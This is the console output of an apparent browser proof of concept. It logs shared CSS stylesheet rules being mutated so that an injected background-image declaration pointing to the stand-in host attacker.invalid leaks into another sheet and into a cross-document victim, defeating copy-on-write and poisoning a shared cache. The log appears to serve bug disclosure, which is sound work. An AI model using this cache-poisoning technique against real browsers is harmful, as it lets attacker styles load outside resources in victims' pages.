[POC] STEP 1: pre-mutate sheet0 nested cssText = "color: green;" [POC] STEP 1: pre-mutate sheet1 nested cssText = "color: green;" [POC] STEP 2: post-mutate sheet0 nested cssText = "color: green; background-image: url("http://attacker.invalid/INJECTED-BY-ATTACKER");" [POC] STEP 2: post-mutate sheet1 nested cssText = "color: green; background-image: url("http://attacker.invalid/INJECTED-BY-ATTACKER");" [POC] SAME-DOC LEAK (sheet1 sees attacker decl): true [POC] STEP 3: victim cssText = "color: green; background-image: url("http://attacker.invalid/INJECTED-BY-ATTACKER");" [POC] STEP 3: victim computed bg = "url("http://attacker.invalid/INJECTED-BY-ATTACKER")" [POC] CROSS-DOC LEAK (victim sees attacker decl): true [POC] === BUG CONFIRMED: copy-on-write defeated, shared cache poisoned ===